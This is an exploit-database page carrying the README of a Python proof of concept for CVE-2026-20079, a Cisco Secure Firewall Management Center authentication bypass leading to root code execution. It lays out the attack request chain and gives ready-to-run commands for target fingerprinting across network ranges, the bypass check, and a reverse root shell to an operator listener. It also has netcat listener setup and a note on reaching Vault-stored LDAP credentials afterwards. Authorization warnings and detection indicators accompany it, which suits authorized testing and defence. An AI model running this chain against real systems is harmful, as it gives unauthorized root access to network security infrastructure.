Sploitus

Exploit for CVE-2026-20079

githubexploit Β· 2026-08-17

Exploit Code

README359 lines
## https://sploitus.com/exploit?id=40880921-C39C-58D4-B99F-0A7459D57358
# CVE-2026-20079 Cisco Secure FMC PoC

Python proof of concept for the publicly documented Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE chain in CVE-2026-20079.

This is not a new vulnerability or independently developed exploit chain. It is a clean-room implementation of the request sequence published by VulnCheck, with separate fingerprint, check, one-shot proof, and interactive exploit modes.

## Quick setup

Python 3.10 or later is required. On Linux or macOS:

```bash
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
```

## Replace the example addresses

All `192.0.2.x` values below are reserved documentation addresses. They are
placeholders, not discovered target information, and must be replaced with
values from the authorized assessment. The commands are not expected to work
unchanged.

| Example | Meaning | What to use instead |
| --- | --- | --- |
| `https://192.0.2.10` | Target FMC URL | The exact authorized FMC scheme, address, and port |
| `192.0.2.20` | Address where the FMC connects back | The IP address or DNS name of the operator's listener **as reachable from the FMC** |
| `192.0.2.0/24` | Example fingerprint CIDR | An explicitly authorized network range |
| `4444` | Callback/listener TCP port | An approved reachable port on the callback system |
| `0.0.0.0` | Where the listener binds on the operator system | Keep it to listen on all local interfaces, or use one local interface address |
| `192.0.2.10` in `--expected-callback-source` | Expected source of the callback | The FMC source address as observed by the listener; omit this option when NAT makes it uncertain |
| `http://127.0.0.1:8080` | Optional local intercepting proxy | The proxy URL actually listening on the operator system |

### Choosing `--callback-host`

Use this rule: **from the FMC's point of view, which address reaches the
operator's listener?** That address is `--callback-host`.

| Network path | Typical `--callback-host` value |
| --- | --- |
| Operator and FMC are on the same routed network | The operator system's reachable `eth0`, `en0`, or other LAN address |
| Operator reaches the FMC through a VPN | The reachable VPN interface address, such as `tun0` or `utun`, when the FMC has a route to it |
| Operator is behind NAT or a firewall | The public IP or DNS name whose selected port is forwarded to the operator system |
| A callback tunnel or VPS is used | The reachable tunnel endpoint or VPS address |

Do not use `127.0.0.1` or `0.0.0.0` for `--callback-host`. `127.0.0.1` would
refer to the FMC itself, while `0.0.0.0` is a listener bind value, not a
destination. Ensure routing, firewall rules, and any port forwarding allow the
FMC to reach `--callback-host` on `--callback-port`.

`--listen-host` is local-only: it selects the interface on which the integrated
listener waits. Its default, `0.0.0.0`, listens on every local interface. It
does not tell the FMC where to connect. Therefore, `--callback-host` and
`--listen-host` may be different, especially across NAT.

### Worked example: operator and FMC on the same network

Assume this fictional, documentation-only lab:

```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator  [!IMPORTANT]
> Fingerprinting is a heuristic product-identification step, not a vulnerability
> check. `MATCH` and `LIKELY` do not prove that the target is affected or
> exploitable, and `NO_MATCH` does not rule out FMC. Reverse proxies, customized
> login pages, access controls, network failures, or product changes can affect
> the result.

Fingerprinting sends network requests but does not run the authentication
bypass or RCE chain. Read the classification details, mode descriptions, and
session-state warning below before using `--check`, `--proof`, or `--exploit`.

> [!WARNING]
> Do not run `--check`, `--proof`, or `--exploit` without explicit written
> authorization covering the target changes and proof method. Read the
> prerequisite, session-state limitation, and callback requirements first.

## How the exploit chain works

The active chain supplies `CGISESSID=csm_processes` to `/login.cgi?logon=Continue`, uses the published `report:snortrules` machine credential, extracts `sf_action_id` from `/ui/user/general`, writes a Makeself-format script through `validateLicense`, and triggers it through `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## Important prerequisite

An affected software version is not always exploitable at the moment of testing. The boot-created `csm_processes` session must still exist. Normal authenticated UI activity and session cleanup can remove it. Do not reboot a production FMC merely to satisfy this prerequisite.

## Session-state limitation

The `--check`, `--proof`, and `--exploit` modes upgrade the server-side `csm_processes` session. The PoC does not attempt to return that session to its original partial state because no vendor-documented downgrade operation is available. Clearing a client cookie would not undo the server-side change, while logging out, forcing expiry, or deleting the database entry would destroy the session rather than restore it and could interfere with subsequent validation or appliance behavior. The automatic cleanup features remove only temporary RCE files; they do not claim to restore session state. `--fingerprint` does not use or modify that session.

## Target runtime prerequisites

Both callback payloads require:

- A compatible POSIX-style `/bin/sh`.
- `rm` and `command`.
- One of `nc`, `netcat`, or `ncat` available through the target's execution `PATH`.
- Outbound TCP connectivity from FMC to the supplied callback address and port.

The interactive `--exploit` payload additionally requires `mkfifo`. The one-shot `--proof` payload does not create a FIFO or interactive shell.

The payload checks the three supported netcat command names before attempting its callback. If none is present, it exits through its cleanup traps. Because the error occurs inside the blind server-side execution path, the tester observes a missing callback rather than a detailed remote error message.

`--auto-verify` uses Python's socket library and does not require a local netcat
installation. Manual-listener mode can use `nc`, `ncat`, `socat`, or another
operator-selected TCP listener.

## GET-only FMC fingerprinting

Fingerprint one URL:

```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10
```

Fingerprint a file containing one URL, IP address, hostname, or `host:port` value per line:

```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --targets-file targets.txt \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 10
```

Fingerprint an explicitly authorized network range:

```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256
```

This mode is low impact, not literally passive: it sends network requests. Redirects are disabled globally, and the tool follows only an actual HTTP redirect to the exact `/ui/login` path that remains on the original scheme, host, and port. The login response must be successful (HTTP 2xx) before the tool reports `MATCH` or `LIKELY`. It does not attach the exploit cookie, submit credentials, send `POST` requests, follow external redirects, check a version, or prove CVE-2026-20079. `MATCH` means branding was observed in a successful response, `LIKELY` means the successful same-origin login route matched without branding in the raw HTML, and `NO_MATCH` means the bounded fingerprint did not identify FMC.

Only `--fingerprint` accepts `--targets-file` or `--network`. Check, proof, and exploit modes deliberately remain single-target operations. File and CIDR expansion are deduplicated and bounded by `--max-hosts` (default 4096), while concurrency is bounded by `--workers` (default 10, maximum 100).

## Intrusive authentication-bypass check

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check
```

Success requires both the expected HTTP 302 session upgrade and a 200 response containing a session-specific `sf_action_id`.

The PoC keeps the complete action token in memory for the request chain but prints only a shortened fingerprint. Treat raw response bodies containing the complete token as sensitive session evidence and do not publish them.

After a successful check, the server-side session remains upgraded. The tool reports this explicitly and does not attempt an undocumented rollback.

## One-shot root proof

Use this when root execution evidence is required but an interactive shell is unnecessary:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10
```

Proof mode always starts the integrated listener before the file-write request. The target sends randomized start/end markers, `id`, hostname, build-directory name, and `/var/tmp/license.tmp` cleanup status, then disconnects. Success requires `uid=0(root)` and verified absence of the temporary script. It does not create a FIFO, expose an interactive command channel, or run environment-specific post-exploitation.

## Root-shell validation

Start a listener on the authorized callback system:

```bash
# Linux (common netcat variants)
nc -lvnp 4444

# macOS built-in netcat
nc -lvn 4444
```

Run one listener command appropriate for the callback system, not both.

Then run:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444
```

Validate the callback:

```bash
id
hostname -f
```

The PoC prints the exact temporary FIFO path. Remove only those two known exploit artifacts from the FMC shell:

```bash
rm -f /tmp/.fmc_poc_ /var/tmp/license.tmp
```

## Automatic root verification and cleanup

The PoC can run its own callback listener and perform bounded post-exploitation automatically:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify
```

`--auto-verify` performs only the following actions through the callback:

1. Runs `id` and requires `uid=0(root)`.
2. Collects `hostname -f` and the FMC build directory name.
3. Removes the exact randomized FIFO created by this run and `/var/tmp/license.tmp`.
4. Verifies that both paths are absent.
5. Exits the callback.

The generated payload also unlinks `/var/tmp/license.tmp` as soon as execution begins and installs shell-exit/signal cleanup handlers for both temporary paths. Automatic verification still performs and checks an independent explicit cleanup. If a write is attempted but the callback or cleanup proof is incomplete, the PoC exits nonzero and prints the two exact paths that may require authorized manual review.

If the callback address differs from the local bind address, specify the latter separately:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60
```

When the callback source should be the FMC address itself and no callback-side NAT is involved, the listener can reject unrelated connections:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --expected-callback-source 192.0.2.10
```

Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.

Automatic Vault enumeration, credential extraction, persistence, and lateral movement are intentionally excluded. Those activities are not required to prove CVE-2026-20079 and depend on environment-specific authorization and configuration.

## Why the PoC uses FIFO/netcat

The first manual reproduction used a Bash `/dev/tcp` callback. Both HTTP
exploit stages returned their expected responses, but no connection arrived.
That demonstrated why HTTP status alone is not execution proof and why
shell-specific callback features should not be assumed on an appliance.

The successful retry used the FIFO/netcat compatibility pattern documented in
the public research. This PoC therefore goes directly to that proven pattern
and deliberately does not retry the failed `/dev/tcp` method. It checks for
`nc`, `netcat`, or `ncat`, requires an actual callback and `uid=0(root)` in
automatic mode, and returns nonzero when callback or cleanup proof is missing.
It cannot determine the exact reason for a blind callback failure, so it
reports the plausible runtime and network prerequisites rather than claiming
the target is patched.

## Post-exploitation scope

This repository automates the CVE from an unauthenticated state through a verified root callback and cleanup. It does **not** automate credential collection, secret export, or lateral movement.

During one authorized assessment, the resulting root shell exposed a locally running HashiCorp Vault service on the FMC. An appliance-local Vault client token permitted access to a configured LDAP credential record, and that credential subsequently completed an authorized LDAPS bind. This is an observed post-exploitation path from one environment, not a universal property or prerequisite of CVE-2026-20079.

See [BLOG.md](BLOG.md) for the first-person research story: the public background, manual exploitation process, failed callback, successful compatibility payload, observed post-exploitation path, lessons learned, and the eventual development of this tool.

## Optional proxy

To observe requests in an intercepting proxy:

```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080
```

## Evidence standard

HTTP 302 or HTTP 200 alone does not prove root RCE. Treat the issue as:

- FMC surface identified only when `--fingerprint` observes the bounded login behavior or branding; this is not a vulnerability finding by itself.
- Authentication bypass confirmed only when the upgraded session yields a valid `sf_action_id`.
- Root RCE confirmed only when a controlled listener receives the callback and `id` reports `uid=0(root)`.

The integrated listener uses randomized per-run verification markers, bounds captured callback output, optionally filters the callback source, and returns a nonzero status if root or cleanup cannot be verified. Manual-listener mode cannot prove those conditions to the Python process; its successful exit means the HTTP chain was submitted, not that root execution was independently observed.

## Exit status

- `0`: fingerprinting completed with at least one non-error result; `--check` confirmed the authentication bypass; `--proof` or `--auto-verify` confirmed root and cleanup; or manual-listener mode successfully submitted the expected HTTP chain.
- `1`: the target did not match an expected response, the callback/root/cleanup proof failed, or a request/listener error occurred.
- `2`: invalid command-line arguments.
- `130`: interrupted by the operator. If a payload write had been attempted, the tool also prints the exact paths whose cleanup remains unverified.

## Detection opportunities

- POST to `/login.cgi?logon=Continue` using the `csm_processes` cookie and `report` machine user.
- Requests to `/ui/user/general` immediately after the session upgrade.
- `validateLicense` requests to `/sajaxintf.cgi?rs=callServerFunc`.
- `SF::UI::DataObjectLibrary::upgradeReadinessCall` submitted to `/pjb.cgi`.
- Creation or execution of `/var/tmp/license.tmp` containing a Makeself marker.
- FIFO creation under `/tmp`, an interactive `/bin/sh`, `nc`, and unexpected outbound traffic from FMC.

## Development and testing

The quick setup installs the runtime dependency from `requirements.txt` into an
isolated virtual environment. Run the standard-library unit and local
mock-integration tests without contacting a public target:

```bash
python3 -m unittest discover -s tests -v
```

## References

- [Cisco advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck technical analysis](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Legal

Use only on systems you own or have explicit written authorization to test.
This proof of concept can change server-side session state and execute commands
as root. You are responsible for obtaining authorization, defining a safe
scope and proof boundary, protecting collected evidence, and complying with
applicable laws, contracts, and vendor or program rules. The author and
contributors do not authorize illegal access, disruption, or data collection.

The software is provided "as is", without warranty, and the authors and
copyright holders disclaim liability to the fullest extent permitted by law.
See the [MIT License](LICENSE) for the complete terms. This usage notice does
not modify or restrict the license.